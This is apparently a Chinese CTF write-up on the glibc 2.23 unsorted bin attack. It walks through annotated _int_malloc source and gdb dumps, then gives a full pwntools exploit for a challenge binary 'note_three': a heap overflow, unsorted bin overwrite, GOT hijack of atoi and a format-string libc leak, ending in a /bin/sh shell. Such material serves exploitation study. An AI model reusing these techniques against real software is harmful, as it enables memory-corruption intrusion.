想要弄明白largebin的相关内容,首先要整理清楚unsortbin的分配利用方式。
1
2
3
4
5
|
ptr1:
0x602010
ptr3:
0x602100
我们先free1再free3:
unsortbin:
0x6020f0
(size :
0xc0
) <
-
-
>
0x602000
(size :
0xc0
)
|
可以看到,首先插入了0x602000(ptr1)然后在头部插入了0x6020f0(ptr3),看一下fd和bk指针如下:
1
2
3
4
|
addr prev size status fd bk
0x602000
0x0
0xc0
Freed
0x7ffff7dd1b78
0x6020f0
0x6020f0
0x0
0xc0
Freed
0x602000
0x7ffff7dd1b78
|
ptr1的bk指向ptr3,ptr3的bk指向ptr1,并且是个循环链表,ptr1的fd指向unsortbin,ptr3的bk指向unsortbin。
然后我觉得有一句形如fd和bk很清楚:
fd pointer to the next free chunk; bk pointer to the pre free chunk
这里的pre和next是相对unsorbtin里的位置说的,比如说先free 1,先插入1,再free2,再插入2,那么unsortbin中的就是unsortbin->2->1。那么2->fd=&1;2->bk=unsorbtin | 1->fd=unsortbin;1->bk=&2
然后往出取的时候从链尾取(注意:当malloc时程序首先查找fastbin和smallbin。如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。)。总结一张如图:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
|
while
((victim
=
unsorted_chunks (av)
-
>bk) !
=
unsorted_chunks (av))
/
/
从unsortbin第一个chunk(队尾)开始顺着bk指针向前遍历
{
bck
=
victim
-
>bk;
/
/
bck是倒数第二个,victim是倒数第一个
/
/
size check
if
(__builtin_expect (victim
-
>size <
=
2
*
SIZE_SZ,
0
)
|| __builtin_expect (victim
-
>size > av
-
>system_mem,
0
))
malloc_printerr (check_action,
"malloc(): memory corruption"
,
chunk2mem (victim), av);
size
=
chunksize (victim);
/
/
取出最victim的size
/
*
If a small request,
try
to use last remainder
if
it
is
the
only chunk
in
unsorted
bin
. This helps promote locality
for
runs of consecutive small requests. This
is
the only
exception to best
-
fit,
and
applies only when there
is
no exact fit
for
a small chunk.
*
/
/
/
last remainder first
if
(in_smallbin_range (nb) &&
bck
=
=
unsorted_chunks (av) &&
victim
=
=
av
-
>last_remainder &&
/
/
如果我们申请的size在smallbin的范围,且last_remainder是unsortedbin中的唯一chunk,那么优先使用last_remainder(这个跟我们usortbin切割相关)
(unsigned
long
) (size) > (unsigned
long
) (nb
+
MINSIZE))
{
/
*
split
and
reattach remainder
*
/
remainder_size
=
size
-
nb;
remainder
=
chunk_at_offset (victim, nb);
/
/
cut
and
put the remained part back to unsorted
list
unsorted_chunks (av)
-
>bk
=
unsorted_chunks (av)
-
>fd
=
remainder;
av
-
>last_remainder
=
remainder;
remainder
-
>bk
=
remainder
-
>fd
=
unsorted_chunks (av);
if
(!in_smallbin_range (remainder_size))
{
remainder
-
>fd_nextsize
=
NULL;
remainder
-
>bk_nextsize
=
NULL;
}
set_head (victim, nb | PREV_INUSE |
(av !
=
&main_arena ? NON_MAIN_ARENA :
0
));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
check_malloced_chunk (av, victim, nb);
void
*
p
=
chunk2mem (victim);
alloc_perturb (p, bytes);
/
/
return
to user
return
p;
}
/
*
remove
from
unsorted
list
*
/
/
/
unsorted
bin
attack在这里
/
/
unsorted_chunks (av)这里就是victim即最后一个chunk,当我们可以控制victim的bk指针时(即bck)
/
/
就可以往bck
-
>fd写入unsorted_chunks(av)即
*
(bck
+
0x10
)
=
unsorted(av)
/
/
要求bck是一个可写的地址
unsorted_chunks (av)
-
>bk
=
bck;
bck
-
>fd
=
unsorted_chunks (av);
/
*
Take now instead of binning
if
exact fit
*
/
/
/
如果请求的nb和victim的大小刚好符合,直接返回给用户
if
(size
=
=
nb)
{
set_inuse_bit_at_offset (victim, size);
if
(av !
=
&main_arena)
victim
-
>size |
=
NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void
*
p
=
chunk2mem (victim);
alloc_perturb (p, bytes);
return
p;
}
/
*
place chunk
in
bin
*
/
if
(in_smallbin_range (size))
{
victim_index
=
smallbin_index (size);
bck
=
bin_at (av, victim_index);
fwd
=
bck
-
>fd;
}
else
{
victim_index
=
largebin_index (size);
bck
=
bin_at (av, victim_index);
fwd
=
bck
-
>fd;
/
*
maintain large bins
in
sorted
order
*
/
if
(fwd !
=
bck)
{
/
*
Or with inuse bit to speed comparisons
*
/
size |
=
PREV_INUSE;
/
*
if
smaller than smallest, bypass loop below
*
/
assert
((bck
-
>bk
-
>size & NON_MAIN_ARENA)
=
=
0
);
if
((unsigned
long
) (size) < (unsigned
long
) (bck
-
>bk
-
>size))
{
fwd
=
bck;
bck
=
bck
-
>bk;
victim
-
>fd_nextsize
=
fwd
-
>fd;
victim
-
>bk_nextsize
=
fwd
-
>fd
-
>bk_nextsize;
fwd
-
>fd
-
>bk_nextsize
=
victim
-
>bk_nextsize
-
>fd_nextsize
=
victim;
}
else
{
assert
((fwd
-
>size & NON_MAIN_ARENA)
=
=
0
);
while
((unsigned
long
) size < fwd
-
>size)
{
fwd
=
fwd
-
>fd_nextsize;
assert
((fwd
-
>size & NON_MAIN_ARENA)
=
=
0
);
}
if
((unsigned
long
) size
=
=
(unsigned
long
) fwd
-
>size)
/
*
Always insert
in
the second position.
*
/
fwd
=
fwd
-
>fd;
else
{
victim
-
>fd_nextsize
=
fwd;
victim
-
>bk_nextsize
=
fwd
-
>bk_nextsize;
fwd
-
>bk_nextsize
=
victim;
victim
-
>bk_nextsize
-
>fd_nextsize
=
victim;
}
bck
=
fwd
-
>bk;
}
}
else
victim
-
>fd_nextsize
=
victim
-
>bk_nextsize
=
victim;
}
mark_bin (av, victim_index);
victim
-
>bk
=
bck;
victim
-
>fd
=
fwd;
fwd
-
>bk
=
victim;
bck
-
>fd
=
victim;
#define MAX_ITERS 10000
if
(
+
+
iters >
=
MAX_ITERS)
break
;
}
|
其实核心就是这里:
1
2
3
4
5
6
7
8
9
|
/
/
unsorted
bin
attack在这里
/
/
unsorted_chunks (av)这里就是victim即最后一个chunk,当我们可以控制victim的bk指针时(即bck)
/
/
就可以往bck
-
>fd写入unsorted_chunks(av)即
*
(bck
+
0x10
)
=
unsorted(av)
/
/
要求bck是一个可写的地址
/
/
unsorted_chunks (av)是unsortedbin(本身还带着一个fd和bk)
bck
=
victim
-
>bk;
/
/
bck是倒数第二个,victim是倒数第一个
unsorted_chunks (av)
-
>bk
=
bck;
bck
-
>fd
=
unsorted_chunks (av);
|
可以看到,在fakechunk的fd位置(64位下是fake_chunk+0x10)写入了unsorted_bin的地址(unsorted_chunks (av))
ubattack有很多种用法,比如错位写一个0x7f,给fastbin attack打配合(打free_hook的时候能用到)等等;比如在没有del的情况下踩出一个main_arena的地址等等orz。
注意:unsorted_chunks (av)写入之后这个位置指向的是top chunk:
举个例子:
1
2
3
4
|
gdb
-
peda$ x
/
10gx
0x6021C0
0x6021c0
:
0x00007ffff7dd1b78
0x0000000000000088
0x6021d0
:
0x0000000000603f80
0x0000000000000068
0x6021e0
:
0x0000000000603f20
0x0000000000000088
|
此时ubattack写入了0x00007ffff7dd1b78
1
2
3
|
gdb
-
peda$ x
/
20gx
0x00007ffff7dd1b78
0x7ffff7dd1b78
<main_arena
+
88
>:
0x00000000006240a0
0x0000000000603f70
0x7ffff7dd1b88
<main_arena
+
104
>:
0x0000000000603f70
0x00000000006021b0
|
1
2
3
4
5
6
7
8
|
gdb
-
peda$ p main_arena
$
1
=
{
mutex
=
0x0
,
flags
=
0x1
,
fastbinsY
=
{
0x0
,
0x0
,
0x0
,
0x0
,
0x0
,
0x0
,
0x0
,
0x0
,
0x0
,
0x0
},
top
=
0x6240a0
,
last_remainder
=
0x603f70
,
bins
=
{
0x603f70
,
0x6021b0
,........
|
1
2
3
4
5
6
7
8
|
top:
0x6240a0
(size :
0x21f60
)
last_remainder:
0x603f70
(size :
0x70
)
unsortbin:
0x603f70
(invaild memory)
unsortedbin
all
[corrupted]
FD:
0x603f70
◂—
0x0
BK:
0x6021b0
◂—
0x0
|
可以看到,依次是:top chunk->last_remainder->fd->bk
glibc2.23,且只有new和edit,没有free和show。
Edit的时候没有检查index合法性,导致可以越界写。
在0x6020C0+0x108储存我们申请chunk的size。由于使用了strdup,所以分配的大小实际是由我们输入决定的,跟size无关,但是edit的时候是根据我们输入的size读入的。所以这里存在溢出
然后限制add的时候输入的index不能大于2,但是没关系我们一直add index=0就行,反正是strdup开chunk
1
|
printf(
"%d\n"
, printf(
"%d\n"
, printf(
"Hello\n"
)));
|
打印依次是:Hello 6 2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
|
# encoding=utf-8
from
pwn
import
*
from
LibcSearcher
import
*
s
=
lambda
buf: io.send(buf)
sl
=
lambda
buf: io.sendline(buf)
sa
=
lambda
delim, buf: io.sendafter(delim, buf)
sal
=
lambda
delim, buf: io.sendlineafter(delim, buf)
shell
=
lambda
: io.interactive()
r
=
lambda
n
=
None
: io.recv(n)
ra
=
lambda
t
=
tube.forever:io.recvall(t)
ru
=
lambda
delim: io.recvuntil(delim)
rl
=
lambda
: io.recvline()
rls
=
lambda
n
=
2
*
*
20
: io.recvlines(n)
libc_path
=
"/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path
=
"./note_three"
libc
=
ELF(libc_path)
elf
=
ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if
sys.argv[
1
]
=
=
'1'
:
context(log_level
=
'debug'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
elif
sys.argv[
1
]
=
=
'0'
:
context(log_level
=
'info'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
cho
=
'choice>> '
# choice提示语
siz
=
'size: '
# size输入提示语
con
=
'content: '
# content输入提示语
ind
=
'idx: '
# index输入提示语
edi
=
''
# edit输入提示语
def
Add(size,index,content
=
'
',c='
1
'):
sal(cho,c)
sal(ind,
str
(index))
sal(siz,
str
(size))
sa(con,content)
def
Del(index,c
=
''):
sal(cho,c)
pass
def
Show(index,c
=
''):
sal(cho,c)
pass
def
Edit(index,content
=
'
',c='
2
'):
sal(cho,c)
sal(ind,
str
(index))
sa(con,content)
# 获取pie基地址
def
get_proc_base(p):
proc_base
=
p.libs()[p._cwd
+
p.argv[
0
].strip(
'.'
)]
info(
hex
(proc_base))
# 获取libc基地址
def
get_libc_base(p):
libc_base
=
p.libs()[libc_path]
info(
hex
(libc_base))
def
exp():
global
io
io
=
process(elf_path)
get_proc_base(io)
get_libc_base(io)
# 0x6021C0
for
i
in
range
(
23
):
Add(
0x88
,
0
,
'0'
*
0x88
)
Add(
0x88
,
0
,
'0'
)
Add(
0x88
,
1
,
'1'
*
0x80
)
# 开0x90
Add(
0x88
,
2
,
'a'
*
0x30
)
Edit(
2
,
'a'
*
0x30
+
p64(
0
)
+
p64(
0xb1
))
#劫持top chunk的size为0xb1
Add(
0x90
,
0
,
'0'
*
0x90
)
# topchunk进入unsortbin
# unsorted bin attack
Add(
0x88
,
0
,
'a'
)
# 切割unsortedbin中的top chunk
heap_list
=
0x6021C0
Edit(
0
,
'a'
*
0x10
+
p64(
0
)
+
p64(
0x71
)
+
p64(
0
)
+
p64(heap_list
-
0x10
))
# 通过Edit溢出,劫持ub里的chunk的bk指针,指向heap_list-0x10
Add(
0x68
,
1
,
'a'
*
0x60
)
# ubattack触发,修改heaplist的0号位置的ptr为main_arena+88(unsortbin)
# pause()
Edit(
0
,p64(
0x602048
)
+
p64(
0
)
+
p64(
0x6020c0
+
0x70
)
*
2
)
# 劫持unsortbin,编辑
Add(
0x90
,
2
,
'p'
*
0x78
+
p64(
0x91
)
+
p64(
0x6021b0
)
*
2
)
atoi_got
=
elf.got[
'atoi'
]
printf_plt
=
elf.plt[
'printf'
]
payload
=
'a'
*
0x80
+
p64(
0x6021c0
)
+
p64(
0x100
)
# 劫持heap_list,改heaplist[0]=heap_list
Edit(
2
,payload)
Edit(
0
,p64(atoi_got)
+
p64(
0x100
)
+
p64(atoi_got))
# 劫持heap_list[0]=heap_list[1]=atoi_got
Edit(
1
,p64(printf_plt))
sal(cho,
'%19$p'
)
# 改atoi_got为printf地址,硬改出一个格式化字符串
libc_base
=
int
(r(
14
),
16
)
-
libc.sym[
'__libc_start_main'
]
-
240
info(
hex
(libc_base))
system
=
libc_base
+
libc.sym[
'system'
]
ru(cho)
sl(
'1'
)
# printf返回值为被打印的字符数这里是2
ru(ind)
sl("")
# printf返回值为被打印的字符数
ru(con)
s(p64(system))
s(
'/bin/sh\x00'
)
shell()
pause()
exp()
|
https://ama2in9.top/2019/12/12/hhb/
https://l0ne1y.xyz/2020/05/10/Unsorted_Bin_Attack/#more
https://xz.aliyun.com/t/7251#toc-7
更多【unsortbin attack分析与总结】相关视频教程:www.yxfzedu.com